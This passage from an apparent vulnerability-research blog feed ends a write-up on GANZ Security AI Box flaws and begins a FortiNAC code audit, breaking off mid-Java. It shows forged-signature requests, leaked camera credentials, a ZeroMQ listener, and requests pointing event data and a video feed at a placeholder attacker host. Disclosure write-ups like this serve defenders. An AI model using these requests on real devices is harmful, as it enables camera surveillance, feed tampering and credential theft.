<span class="n">signature_want</span> <span class="o">=</span> <span class="n">hmac</span><span class="p">.</span><span class="n">new</span><span class="p">(</span><span class="n">hamc_key</span><span class="p">.</span><span class="n">encode</span><span class="p">(),</span> <span class="n">plain</span><span class="p">.</span><span class="n">encode</span><span class="p">(),</span> <span class="n">hashlib</span><span class="p">.</span><span class="n">sha256</span><span class="p">).</span><span class="n">hexdigest</span><span class="p">()</span>

<span class="k">print</span><span class="p">(</span><span class="n">signature_want</span><span class="p">)</span>
</code></pre></div></div>

<p>and sent the following request:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>GET /itx/ai/analytics/ HTTP/1.1
Host: HOST:8443
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
X-Auth-Signature: 2b8d91502dbd42a8f3ec98e44d062157c64ae2aea4f6a7730da1256ca218f446
Date: Mon, 26 Jun 2023 08:03:16 GMT
Connection: close
</code></pre></div></div>

<p>The AI Box responded with the following content:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>HTTP/1.1 200 OK
Server: nginx
Date: Mon, 26 Jun 2023 08:03:58 GMT
Content-Type: application/json
Content-Length: 4049
Connection: close
Strict-Transport-Security: max-age=31536000; includeSubDomains; preload

[
  {
    "ai": "mot_human_car_mid", 
    "algo_type": "mot", 
    "category": "Human/Car", 
    "ch": 0, 
    "name": "Entrance 1", 
    "text": "Human / Vehicle Detector", 
    "url": "rtsp://ADMIN:12345@10.0.0.1:5553/live/second0"
  }, 
  {
    "ai": "mot_human_car_mid", 
    "algo_type": "mot", 
    "category": "Human/Car", 
    "ch": 1, 
    "name": "Security Zone 2", 
    "text": "Human / Vehicle Detector", 
    "url": "rtsp://ADMIN:12345@10.0.0.1:5553/live/second1"
  }, 
  {
    "ai": "mot_human_car_mid", 
    "algo_type": "mot", 
    "category": "Human/Car", 
    "ch": 2, 
    "name": "Supplier Entrance", 
    "text": "Human / Vehicle Detector", 
    "url": "rtsp://ADMIN:12345@10.0.0.1:5553/live/second2"
  }
  [...]
</code></pre></div></div>

<p>Great! No <em>401 Unauthorized</em>  but configurations of video source channels with IP address and even credentials. Ok, but where is the Hollywood part now, you might ask?! I got two API calls for you for the cinema feelings.</p>

<h4 id="track-detections">Track Detections</h4>

<p>What about receiving an event to your attacker machine every time a vehicle, person etc. would have been detected on one of the video input streams? The following API will help us to do exactly this.</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="o">@</span><span class="n">bp</span><span class="p">.</span><span class="n">route</span><span class="p">(</span><span class="s">'/ai/owner/'</span><span class="p">,</span> <span class="n">methods</span><span class="o">=</span><span class="p">[</span><span class="s">'POST'</span><span class="p">])</span>
<span class="k">def</span> <span class="nf">post_ai_owner</span><span class="p">():</span>
    <span class="k">if</span> <span class="ow">not</span> <span class="n">authentication</span><span class="p">(</span>
            <span class="n">request</span><span class="p">.</span><span class="n">headers</span><span class="p">.</span><span class="n">get</span><span class="p">(</span><span class="s">'X-Auth-Signature'</span><span class="p">),</span>
            <span class="n">request</span><span class="p">.</span><span class="n">headers</span><span class="p">.</span><span class="n">get</span><span class="p">(</span><span class="s">'Date'</span><span class="p">),</span>
            <span class="n">request</span><span class="p">.</span><span class="n">data</span><span class="p">.</span><span class="n">decode</span><span class="p">()):</span>
        <span class="k">return</span> <span class="n">HttpUnauthorized</span><span class="p">(</span><span class="s">""</span><span class="p">)</span>

    <span class="n">data</span> <span class="o">=</span> <span class="n">request</span><span class="p">.</span><span class="n">get_json</span><span class="p">(</span><span class="n">force</span><span class="o">=</span><span class="bp">True</span><span class="p">)</span> <span class="c1"># [7]
</span>    <span class="n">owner</span> <span class="o">=</span> <span class="n">data</span><span class="p">.</span><span class="n">get</span><span class="p">(</span><span class="s">"owner"</span><span class="p">)</span>
    <span class="n">zmq_addr</span> <span class="o">=</span> <span class="n">data</span><span class="p">.</span><span class="n">get</span><span class="p">(</span><span class="s">"zmq_addr"</span><span class="p">)</span>

    <span class="k">if</span> <span class="ow">not</span> <span class="n">owner</span> <span class="ow">or</span> <span class="nb">len</span><span class="p">(</span><span class="n">owner</span><span class="p">)</span> <span class="o">&lt;</span> <span class="mi">12</span><span class="p">:</span>
        <span class="k">return</span> <span class="n">HttpBadRequest</span><span class="p">(</span><span class="s">"The valid `owner` param is required."</span><span class="p">)</span>

    <span class="k">if</span> <span class="ow">not</span> <span class="n">zmq_addr</span> <span class="ow">or</span> <span class="s">"tcp://"</span> <span class="ow">not</span> <span class="ow">in</span> <span class="n">zmq_addr</span><span class="p">:</span>
        <span class="k">return</span> <span class="n">HttpBadRequest</span><span class="p">(</span><span class="s">"The valid `zma_addr` param is required."</span><span class="p">)</span>

    <span class="n">_owner</span> <span class="o">=</span> <span class="n">nf_sysdb</span><span class="p">.</span><span class="n">get_str</span><span class="p">(</span><span class="s">"ai.analytics.owner"</span><span class="p">)</span>
    <span class="k">if</span> <span class="n">owner</span> <span class="o">!=</span> <span class="n">_owner</span> <span class="ow">and</span> <span class="n">_owner</span> <span class="o">!=</span> <span class="s">""</span><span class="p">:</span>
        <span class="k">return</span> <span class="n">HttpForbidden</span><span class="p">(</span><span class="s">"other owner is already registered."</span><span class="p">)</span>

    <span class="n">nf_sysdb</span><span class="p">.</span><span class="n">set_str</span><span class="p">(</span><span class="s">"ai.analytics.owner"</span><span class="p">,</span> <span class="n">owner</span><span class="p">)</span>

    <span class="c1"># count = nf_sysdb.get_uint("event.callback.zmq.count")
</span>    <span class="c1"># for i in range(count):
</span>    <span class="c1">#     if i == 0:
</span>    <span class="c1">#         nf_sysdb.set_str("event.callback.zmq.Z{}.addr".format(i), zmq_addr)
</span>    <span class="c1">#     else:
</span>    <span class="c1">#         nf_sysdb.set_str("event.callback.zmq.Z{}.addr".format(i), "")
</span>    <span class="n">nf_sysdb</span><span class="p">.</span><span class="n">set_zmq_meta_addrs</span><span class="p">([</span><span class="n">zmq_addr</span><span class="p">])</span>

    <span class="k">return</span> <span class="n">jsonify</span><span class="p">(</span><span class="n">data</span><span class="p">)</span>
</code></pre></div></div>

<p>At <code class="language-plaintext highlighter-rouge">[7]</code> our POST request body was parsed as JSON. The JSON should contain two members, <code class="language-plaintext highlighter-rouge">owner</code> and <code class="language-plaintext highlighter-rouge">zmq_addr</code>. I understood <code class="language-plaintext highlighter-rouge">owner</code> but <code class="language-plaintext highlighter-rouge">zmq_addr</code>? After asking Google, I was pretty sure to define a <strong>ZeroMQ</strong> host URL with this. According to <a href="https://en.wikipedia.org/wiki/ZeroMQ">Wikipedia</a>:</p>

<blockquote>
  <p>ZeroMQ (…) is an asynchronous messaging library, aimed at use in distributed or concurrent applications. It provides a message queue, but unlike message-oriented middleware, a ZeroMQ system can run without a dedicated message broker; the zero in the name is for zero broker. The library’s API is designed to resemble Berkeley sockets.</p>
</blockquote>

<p>I had to implement a “ZeroMQ” participant component then, right?</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">#!/usr/bin/env python3
</span>
<span class="kn">import</span> <span class="nn">time</span>
<span class="kn">import</span> <span class="nn">zmq</span>

<span class="n">context</span> <span class="o">=</span> <span class="n">zmq</span><span class="p">.</span><span class="n">Context</span><span class="p">()</span>
<span class="n">socket</span> <span class="o">=</span> <span class="n">context</span><span class="p">.</span><span class="n">socket</span><span class="p">(</span><span class="n">zmq</span><span class="p">.</span><span class="n">PULL</span><span class="p">)</span> <span class="c1"># PULL, PUB, REP
</span><span class="n">socket</span><span class="p">.</span><span class="n">bind</span><span class="p">(</span><span class="s">"tcp://*:1337"</span><span class="p">)</span>
<span class="k">print</span><span class="p">(</span><span class="s">"[+] ZMQ server started"</span><span class="p">)</span>

<span class="k">while</span> <span class="bp">True</span><span class="p">:</span>
    <span class="c1">#  Wait for next request from client
</span>    <span class="n">message</span> <span class="o">=</span> <span class="n">socket</span><span class="p">.</span><span class="n">recv</span><span class="p">()</span>
    <span class="k">print</span><span class="p">(</span><span class="s">"Received request: %s"</span> <span class="o">%</span> <span class="n">message</span><span class="p">)</span>
    <span class="k">print</span><span class="p">(</span><span class="s">"---------------------------------------------"</span><span class="p">)</span>

    <span class="c1">#  Do some 'work'
</span></code></pre></div></div>

<p>Now sending a POST request as shown next, should configure our attacker host as ZeroMQ participant:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>POST /itx/ai/owner/ HTTP/1.1
Host: HOST:8443
X-Auth-Signature: [HMAC_VALUE]
Date: Mon, 19 Jun 2023 11:32:20 GMT
Connection: close
Content-Type: application/json
Content-Length: [length]

{"owner":"Tom Cruise Ltd", "zmq_addr":"tcp://[ATTACKER_HOST:1337]"}
</code></pre></div></div>

<p>And indeed, almost immediately after the POST request was sent, my ZeroMQ Python server began to receive data from the AI Box. I cannot provide the screenshots due to confidentiality (yes, I also altered all the other request/response contents) but incoming messages looked something like this:</p>

<pre><code class="language-txt">Received request: b'{"source":"rtsp://10.0.0.1:555/Streaming/Channels/1?transportmode=unicast", "topic":"Detector/ObjectDetected","metadata":{"annotations":[{"class":"person","score":0.430000000123123123,"track_id":23234}]}}
</code></pre>

<p>Every minute or so I even observed informative “Heartbeat” messages <code class="language-plaintext highlighter-rouge">"topic":"System/Keepalive/Heartbeat"</code> containing all the configuration data. So this allowed me to track every detection event of persons, vehicles etc. as well as retrieving the current state of configuration of the device repeatedly.</p>

<h4 id="change-video-source">Change Video Source</h4>

<p>The final Hollywood call? What if we could change the video input source URLs such that we’d have been able to serve our own video stream content? Here we go, changing the input source channel 14 RTSP URL with our own URL:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>POST /itx/ai/analytics/?owner=Tom+Cruise+Ltd HTTP/1.1
Host: HOST:8443
X-Auth-Signature: [HMAC_VALUE]
Date: Mon, 19 Jun 2023 11:55:14 GMT
Connection: close
Content-Type: application/json
Content-Length: [length]

[{"ch":"14", "name":"my own channel", "url":"rtsp://[ATTACKER_HOST]/mystream"}]
</code></pre></div></div>

<h1 id="conclusions">Conclusions</h1>

<p>We didn’t find an unauth’d RCE but at least some unauth’d “Mr. Robot bugs”. Again, be aware that the Ganz Security Solutions device firmware might not be the solely responsible for these flaws. You’ll find more devices by other vendors and resellers when comparing Censys results with the login page I provided in the beginning of this blog post. Full impact for now? Not sure, yet. Also, after my disclosure process, Ganz Security provided a patched firmware version (mid of July 2023) to their customers but never really disclosed any issues to the public. Check your firmware version on your devices to be at least dated to 2023.</p>

<h1 id="internet-exposure-check">Internet Exposure Check</h1>

<p>As mentioned in the introduction, a non-exhaustive Censys search revealed <strong>more than 3000 devices</strong> on the public Internet.</p>

<h1 id="indicators-of-compromise-iocs">Indicators of Compromise (IoCs)</h1>

<p>Unfortunately, I can only give vague advices this time because I don’t have shell access to such a device. These findings were found only through static analysis and tested against a few live targets over the Internet. But blocking and/or monitoring of any requests targeting <code class="language-plaintext highlighter-rouge">/itx</code> URI paths might be a good idea. Taking into account the request headers <code class="language-plaintext highlighter-rouge">X-Auh-Signature</code> and <code class="language-plaintext highlighter-rouge">Date</code> might also help to differentiate.</p>]]></content><author><name></name></author><category term="vulns4free" /><summary type="html"><![CDATA[GANZ Security AI Box: A New Generation AI-Based Intelligent Video Analytics Solution - The intelligent extension for almost every camera system. Thanks to the numerous algorithms for deep learning and analysis with which it is equipped, the AI-BOX is able to recognize the detected objects precisely and immediately and classify them: People, vehicles, motorcycles, bicycles…]]></summary></entry><entry><title type="html">FortiNAC - Just a few more RCEs</title><link href="/vulns4free/2023/06/18/fortinac.html" rel="alternate" type="text/html" title="FortiNAC - Just a few more RCEs" /><published>2023-06-18T23:00:00+00:00</published><updated>2023-06-18T23:00:00+00:00</updated><id>/vulns4free/2023/06/18/fortinac</id><content type="html" xml:base="/vulns4free/2023/06/18/fortinac.html"><![CDATA[<blockquote>
  <p>FortiNAC is a zero-trust access solution that oversees and protects all digital assets connected to the enterprise network, covering devices from IT, IoT, OT/ICS to IoMT.
– https://www.fortinet.com/products/network-access-control</p>
</blockquote>

<p>In February, 2023, a new vulnerability hit the mainstream news: <strong>CVE-2022-39952</strong> (see <a href="https://www.fortiguard.com/psirt/FG-IR-22-300">FG-IR-22-300</a>). Exploitation allowed an unauthenticated attacker to achieve remote code execution (RCE) on <strong>FortiNAC</strong> devices <strong>prior to version 9.4.1</strong> through a chain targeting TCP port 8443. In short: an unprotected JSP file reachable via <code class="language-plaintext highlighter-rouge">/configWizard/keyUpload.jsp</code> allowed to upload a ZIP file which then got extracted to fully controlled paths.</p>

<p>There is a nicely written <a href="https://www.horizon3.ai/fortinet-fortinac-cve-2022-39952-deep-dive-and-iocs/">blog post by the Horizon3.ai team</a> explaining the chain with a proof-of-concept exploit being published on GitHub.</p>

<h2 id="recon">Recon</h2>

<p>Shortly after the first <em>CVE-2022-39952</em> disclosures I thought, why not looking at this product in the <strong>patched version 9.4.1</strong> to find some more vulnerabilities? Luckily, <a href="https://twitter.com/hacks_zach">Zach Hanley</a> from Horizon3.ai provided me both, the unpatched (9.4.0) and patched version (9.4.1) as virtual machine images. But where to start now? I assumed that most other people might have a look at the service on TCP port 8443 in greater detail, since there were tons of other JSP files. Because of this I focused on additional services which seemed to be started by default and of course being exposed on all network interfaces as well.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>&gt; netstat -antp | grep LISTEN
tcp        0      0 127.0.0.1:8010          0.0.0.0:*               LISTEN      4237/java           
tcp        0      0 127.0.0.1:3306          0.0.0.0:*               LISTEN      4095/mysqld         
tcp        0      0 127.0.0.1:8013          0.0.0.0:*               LISTEN      4367/java           
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      1318/sshd           
tcp6       0      0 :::41434                :::*                    LISTEN      2547/java           
tcp6       0      0 :::1050                 :::*                    LISTEN      4237/java           
tcp6       0      0 :::8443                 :::*                    LISTEN      4237/java           
tcp6       0      0 :::36226                :::*                    LISTEN      4237/java           
tcp6       0      0 :::8080                 :::*                    LISTEN      4237/java           
tcp6       0      0 127.0.0.1:8081          :::*                    LISTEN      4237/java           
tcp6       0      0 :::33458                :::*                    LISTEN      4367/java           
tcp6       0      0 :::5555                 :::*                    LISTEN      2547/java           
tcp6       0      0 :::22                   :::*                    LISTEN      1318/sshd
</code></pre></div></div>

<p>Indeed, several services were started on the device by default and I had a closer look at the <em>Java</em> processes. I focused on the PIDs <strong>4237/java</strong> and <strong>2547/java</strong> because each of these seemed to implement multiple service at once.</p>

<h2 id="auditing-service-port-1050">Auditing Service Port 1050</h2>

<p>Starting with TCP port 1050 belonging to the PID 4237, the process listing returned the following Java start routine: <code class="language-plaintext highlighter-rouge">/usr/bin/java -server -XX:InitialRAMPercentage=5.0 -XX:MaxRAMPercentage=55.0 -agentlib:jdwp=transport=dt_socket,address=localhost:8010,server=y,suspend=n -XX:+HeapDumpOnOutOfMemoryError -XX:ErrorFile=./logs/hs_err_pid%p.log -XX:OnOutOfMemoryError=logger -s Java process %p encountered an OutOfMemoryError;kill -9 %p -Dyams.dist=/bsc/campusMgr -Djdk.nio.maxCachedBufferSize=262144 -Djava.awt.headless=true -Dorg.jboss.logging.provider=jdk -Djava.util.logging.config.file=./logging.properties -Dcom.bsc.server.PluginLoader.serial=true -Dcom.bsc.server.host=localhost.localdomain -Dcom.bsc.server.port=1050 -classpath .:/bsc/campusMgr/lib/*:./properties_plugin:/bsc/campusMgr/properties com.bsc.server.Yams -m [?MAC_ADDRESS?]</code>.</p>

<p>The entry point class turned out to be <code class="language-plaintext highlighter-rouge">com.bsc.server.Yams</code>, so let’s start with this: collecting all JAR files, putting them all together and decompiling everything at once (see e.g. <a href="https://frycos.github.io/vulns4free/2022/05/24/security-code-audit-fails.html">this blog post of mine for a howto</a>).</p>

<p>We explore the code base starting at <code class="language-plaintext highlighter-rouge">com.bsc.server.Yams.main(String[] args)</code>.</p>

<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">public</span> <span class="kd">static</span> <span class="kt">void</span> <span class="nf">main</span><span class="o">(</span><span class="kd">final</span> <span class="nc">String</span><span class="o">[]</span> <span class="n">args</span><span class="o">)</span> <span class="o">{</span>
    <span class="kd">final</span> <span class="kt">double</span> <span class="n">version</span> <span class="o">=</span> <span class="n">getJavaVersion</span><span class="o">();</span>
    <span class="k">if</span> <span class="o">(</span><span class="n">version</span> <span class="o">&lt;</span> <span class="mf">1.6</span><span class="o">)</span> <span class="o">{</span>
        <span class="nc">System</span><span class="o">.</span><span class="na">out</span><span class="o">.</span><span class="na">println</span><span class="o">(</span><span class="s">"Error: Incorrect java version. Java 1.6 or higher required. Version = "</span> <span class="o">+</span> <span class="n">version</span><span class="o">);</span>
        <span class="nc">System</span><span class="o">.</span><span class="na">exit</span><span class="o">(</span><span class="mi">1</span><span class="o">);</span>
    <span class="o">}</span>
    <span class="nc">Thread</span><span class="o">.</span><span class="na">setDefaultUncaughtExceptionHandler</span><span class="o">(</span><span class="k">new</span> <span class="nc">YamsExceptionHandler</span><span class="o">());</span>
    <span class="k">try</span> <span class="o">{</span>
        <span class="kd">final</span> <span class="nc">Yams</span> <span class="n">server</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">Yams</span><span class="o">();</span>
        <span class="n">server</span><span class="o">.</span><span class="na">start</span><span class="o">(</span><span class="n">args</span><span class="o">);</span> <span class="c1">// [1]</span>
    <span class="o">}</span>
	<span class="o">...</span>
</code></pre></div></div>

<p>Calling the method at <code class="language-plaintext highlighter-rouge">[1]</code> brings us to <code class="language-plaintext highlighter-rouge">com.bsc.server.Yams.start(String[] args)</code>.</p>

<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">public</span> <span class="kt">void</span> <span class="nf">start</span><span class="o">(</span><span class="kd">final</span> <span class="nc">String</span><span class="o">[]</span> <span class="n">args</span><span class="o">)</span> <span class="o">{</span>
    <span class="k">this</span><span class="o">.</span><span class="na">startDate</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">Date</span><span class="o">();</span>
    <span class="nc">Yams</span><span class="o">.</span><span class="na">startTime</span> <span class="o">=</span> <span class="nc">System</span><span class="o">.</span><span class="na">currentTimeMillis</span><span class="o">();</span>
    <span class="kd">final</span> <span class="nc">Runtime</span> <span class="n">runtime</span> <span class="o">=</span> <span class="nc">Runtime</span><span class="o">.</span><span class="na">getRuntime</span><span class="o">();</span>
    <span class="n">runtime</span><span class="o">.</span><span class="na">addShutdownHook</span><span class="o">(</span><span class="k">this</span><span class="o">.</span><span class="na">shutdown</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">Thread</span><span class="o">(</span><span class="k">new</span> <span class="nc">ShutdownThread</span><span class="o">(),</span> <span class="s">"YamsShutdownThread"</span><span class="o">));</span>
    <span class="nc">ResourceManager</span><span class="o">.</span><span class="na">addResourceBundle</span><span class="o">(</span><span class="s">"com.bsc.properties.yams"</span><span class="o">);</span>
    <span class="k">this</span><span class="o">.</span><span class="na">initialize</span><span class="o">(</span><span class="n">args</span><span class="o">);</span>
    <span class="nc">X509Provider</span><span class="o">.</span><span class="na">install</span><span class="o">();</span>
    <span class="k">this</span><span class="o">.</span><span class="na">log</span><span class="o">(</span><span class="k">this</span><span class="o">.</span><span class="na">softwareProperties</span><span class="o">.</span><span class="na">getProductVersion</span><span class="o">());</span>
    <span class="k">this</span><span class="o">.</span><span class="na">log</span><span class="o">(</span><span class="k">this</span><span class="o">.</span><span class="na">licenseManager</span><span class="o">.</span><span class="na">getVendor</span><span class="o">()</span> <span class="o">+</span> <span class="s">" "</span> <span class="o">+</span> <span class="k">this</span><span class="o">.</span><span class="na">softwareProperties</span><span class="o">.</span><span class="na">getCMOSBrandable</span><span class="o">());</span>
    <span class="k">this</span><span class="o">.</span><span class="na">log</span><span class="o">(</span><span class="s">"Build Label: "</span> <span class="o">+</span> <span class="k">this</span><span class="o">.</span><span class="na">softwareProperties</span><span class="o">.</span><span class="na">getBuildLabel</span><span class="o">());</span>
    <span class="k">if</span> <span class="o">(</span><span class="k">this</span><span class="o">.</span><span class="na">master</span> <span class="o">!=</span> <span class="kc">null</span> <span class="o">&amp;&amp;</span> <span class="o">!</span><span class="k">this</span><span class="o">.</span><span class="na">master</span><span class="o">.</span><span class="na">equals</span><span class="o">(</span><span class="nc">Yams</span><span class="o">.</span><span class="na">name</span><span class="o">))</span> <span class="o">{</span>
        <span class="k">this</span><span class="o">.</span><span class="na">isSlave</span> <span class="o">=</span> <span class="kc">true</span><span class="o">;</span>
        <span class="k">this</span><span class="o">.</span><span class="na">waitForMasterLoader</span><span class="o">();</span>
    <span class="o">}</span>
    <span class="k">this</span><span class="o">.</span><span class="na">loadPlugins</span><span class="o">();</span>
    <span class="kd">final</span> <span class="nc">String</span> <span class="n">productType</span> <span class="o">=</span> <span class="k">this</span><span class="o">.</span><span class="na">licenseManager</span><span class="o">.</span><span class="na">getType</span><span class="o">();</span>
    <span class="k">this</span><span class="o">.</span><span class="na">updateDatabase</span><span class="o">(</span><span class="n">productType</span><span class="o">);</span>
    <span class="k">this</span><span class="o">.</span><span class="na">log</span><span class="o">(</span><span class="s">"**** "</span> <span class="o">+</span> <span class="nc">Yams</span><span class="o">.</span><span class="na">name</span> <span class="o">+</span> <span class="s">" Is Ready ****"</span><span class="o">);</span>
    <span class="k">this</span><span class="o">.</span><span class="na">readyPlugins</span><span class="o">();</span>
    <span class="k">if</span> <span class="o">(!</span><span class="k">this</span><span class="o">.</span><span class="na">isSlave</span><span class="o">)</span> <span class="o">{</span>
        <span class="k">this</span><span class="o">.</span><span class="na">createSockets</span><span class="o">();</span> <span class="c1">// [2]</span>
    <span class="o">}</span>
	<span class="o">...</span>
</code></pre></div></div>

<p>Assuming we’ve a standalone FortiNAC instance (or being the master node in a clustered configuration), a socket creation method is called at <code class="language-plaintext highlighter-rouge">[2]</code>, leading us to <code class="language-plaintext highlighter-rouge">com.bsc.server.Yams.createSockets()</code>.</p>

<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">public</span> <span class="kt">void</span> <span class="nf">createSockets</span><span class="o">()</span> <span class="o">{</span>
    <span class="k">try</span> <span class="o">{</span>
        <span class="kd">final</span> <span class="nc">String</span> <span class="n">port</span> <span class="o">=</span> <span class="nc">System</span><span class="o">.</span><span class="na">getProperty</span><span class="o">(</span><span class="s">"com.bsc.server.port"</span><span class="o">);</span> <span class="c1">// [3]</span>
        <span class="kt">int</span> <span class="n">p</span> <span class="o">=</span> <span class="mi">1051</span><span class="o">;</span>
        <span class="k">try</span> <span class="o">{</span>
            <span class="kd">final</span> <span class="nc">Long</span> <span class="n">val</span> <span class="o">=</span> <span class="nc">Long</span><span class="o">.</span><span class="na">decode</span><span class="o">(</span><span class="n">port</span><span class="o">);</span>
            <span class="n">p</span> <span class="o">=</span> <span class="n">val</span><span class="o">.</span><span class="na">intValue</span><span class="o">();</span>
        <span class="o">}</span>
        <span class="k">catch</span> <span class="o">(</span><span class="kd">final</span> <span class="nc">Exception</span> <span class="n">e</span><span class="o">)</span> <span class="o">{</span>
            <span class="nc">System</span><span class="o">.</span><span class="na">out</span><span class="o">.</span><span class="na">println</span><span class="o">(</span><span class="s">"Can't connect to "</span> <span class="o">+</span> <span class="n">p</span><span class="o">);</span>
            <span class="n">p</span> <span class="o">=</span> <span class="mi">1051</span><span class="o">;</span>
        <span class="o">}</span>
        <span class="kd">final</span> <span class="no">ORB</span> <span class="n">myORB</span> <span class="o">=</span> <span class="no">ORB</span><span class="o">.</span><span class="na">init</span><span class="o">(</span><span class="k">new</span> <span class="nc">String</span><span class="o">[</span><span class="mi">0</span><span class="o">],</span> <span class="kc">null</span><span class="o">);</span>
        <span class="kd">final</span> <span class="nc">Stub</span> <span class="n">masterStub</span> <span class="o">=</span> <span class="o">(</span><span class="nc">Stub</span><span class="o">)</span><span class="nc">PortableRemoteObject</span><span class="o">.</span><span class="na">toStub</span><span class="o">(</span><span class="k">this</span><span class="o">);</span>
        <span class="n">masterStub</span><span class="o">.</span><span class="na">connect</span><span class="o">(</span><span class="n">myORB</span><span class="o">);</span>
        <span class="k">this</span><span class="o">.</span><span class="na">acceptConnection</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">CampusManagerSocket</span><span class="o">(</span><span class="n">p</span><span class="o">,</span> <span class="s">"TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256,TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA,TLS_RSA_WITH_AES_128_GCM_SHA256,TLS_RSA_WITH_AES_128_CBC_SHA,TLS_RSA_WITH_AES_128_CBC_SHA256,TLS_RSA_WITH_AES_256_CBC_SHA"</span><span class="o">,</span> <span class="s">"TLSv1.2"</span><span class="o">,</span> <span class="kc">false</span><span class="o">,</span> <span class="k">new</span> <span class="nc">CampusManagerSocketListener</span><span class="o">()</span> <span class="o">{</span> <span class="c1">// [4]</span>
            <span class="nd">@Override</span>
            <span class="kd">public</span> <span class="kt">void</span> <span class="nf">callbackListener</span><span class="o">(</span><span class="kd">final</span> <span class="nc">Socket</span> <span class="n">s</span><span class="o">)</span> <span class="o">{</span>
                <span class="kd">final</span> <span class="nc">Thread</span> <span class="n">t</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">Thread</span><span class="o">(</span><span class="k">new</span> <span class="nc">SSLSocketHandler</span><span class="o">(</span><span class="n">s</span><span class="o">,</span> <span class="n">masterStub</span><span class="o">),</span> <span class="s">"SSL Socket - "</span> <span class="o">+</span> <span class="n">s</span><span class="o">.</span><span class="na">getRemoteSocketAddress</span><span class="o">()</span> <span class="o">+</span> <span class="s">":"</span> <span class="o">+</span> <span class="n">s</span><span class="o">.</span><span class="na">getPort</span><span class="o">());</span> <span class="c1">// [5]</span>
                <span class="n">t</span><span class="o">.</span><span class="na">start</span><span class="o">();</span> 
            <span class="o">}</span>
        <span class="o">});</span>
        <span class="kd">final</span> <span class="nc">Thread</span> <span class="n">t</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">Thread</span><span class="o">(</span><span class="k">this</span><span class="o">.</span><span class="na">acceptConnection</span><span class="o">,</span> <span class="k">this</span><span class="o">.</span><span class="na">acceptConnection</span><span class="o">.</span><span class="na">getClass</span><span class="o">().</span><span class="na">getName</span><span class="o">());</span>
        <span class="n">t</span><span class="o">.</span><span class="na">start</span><span class="o">();</span> 
    <span class="o">}</span>
	<span class="o">...</span>
</code></pre></div></div>

<p>At <code class="language-plaintext highlighter-rouge">[3]</code> the listening port is read from a property. You might have already spotted this in the command line of the process above as <code class="language-plaintext highlighter-rouge">-Dcom.bsc.server.port=1050</code>. At <code class="language-plaintext highlighter-rouge">[4]</code> a <code class="language-plaintext highlighter-rouge">com.bsc.server.CampusManagerSocket.CampusManagerSocket</code> constructor is called with a lot of parameters. The most interesting one you’ll find at the very end pointing to an interface definition <code class="language-plaintext highlighter-rouge">com.bsc.server.CampusManagerSocketListener</code> with a single method <code class="language-plaintext highlighter-rouge">void callbackListener(final Socket p0)</code>. This method is directly implemented in the same place, annotated with <code class="language-plaintext highlighter-rouge">@Override</code>. Finally, a <code class="language-plaintext highlighter-rouge">java.lang.Thread</code> object is created <code class="language-plaintext highlighter-rouge">[5]</code> and started. The first parameter of the <code class="language-plaintext highlighter-rouge">Thread</code> constructor takes a <code class="language-plaintext highlighter-rouge">Runnable target</code> which in this case equals to a <code class="language-plaintext highlighter-rouge">com.bsc.server.Yams.SSLSocketHandler.SSLSocketHandler</code>.</p>

<p>Since this <code class="language-plaintext highlighter-rouge">Runnable</code> will process events in its <code class="language-plaintext highlighter-rouge">run()</code> method, after the <code class="language-plaintext highlighter-rouge">Thread</code> is started, we’ve to look at its implementation.</p>

<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nd">@Override</span>
<span class="kd">public</span> <span class="kt">void</span> <span class="nf">run</span><span class="o">()</span> <span class="o">{</span>
    <span class="k">try</span> <span class="o">{</span>
        <span class="kd">final</span> <span class="nc">InetAddress</span> <span class="n">remoteHost</span> <span class="o">=</span> <span class="k">this</span><span class="o">.</span><span class="na">socket</span><span class="o">.</span><span class="na">getInetAddress</span><span class="o">();</span>
        <span class="k">if</span> <span class="o">(</span><span class="nc">Yams</span><span class="o">.</span><span class="na">this</span><span class="o">.</span><span class="na">debug</span> <span class="o">||</span> <span class="o">!</span><span class="n">remoteHost</span><span class="o">.</span><span class="na">getHostAddress</span><span class="o">().</span><span class="na">equals</span><span class="o">(</span><span class="nc">Yams</span><span class="o">.</span><span class="na">localIP</span><span class="o">))</span> <span class="o">{</span>
            <span class="nc">YamsPluginBase</span><span class="o">.</span><span class="na">this</span><span class="o">.</span><span class="na">log</span><span class="o">(</span><span class="s">"Client connecting from IP = "</span> <span class="o">+</span> <span class="n">remoteHost</span><span class="o">.</span><span class="na">getHostAddress</span><span class="o">()</span> <span class="o">+</span> <span class="s">" name = "</span> <span class="o">+</span> <span class="n">remoteHost</span><span class="o">.</span><span class="na">getHostName</span><span class="o">()</span> <span class="o">+</span> <span class="s">" port = "</span> <span class="o">+</span> <span class="k">this</span><span class="o">.</span><span class="na">socket</span><span class="o">.</span><span class="na">getPort</span><span class="o">()</span> <span class="o">+</span> <span class="s">"\n"</span><span class="o">);</span>
            <span class="nc">Yams</span><span class="o">.</span><span class="na">this</span><span class="o">.</span><span class="na">connections</span><span class="o">.</span><span class="na">put</span><span class="o">(</span><span class="n">remoteHost</span><span class="o">,</span> <span class="k">new</span> <span class="nc">Date</span><span class="o">());</span>
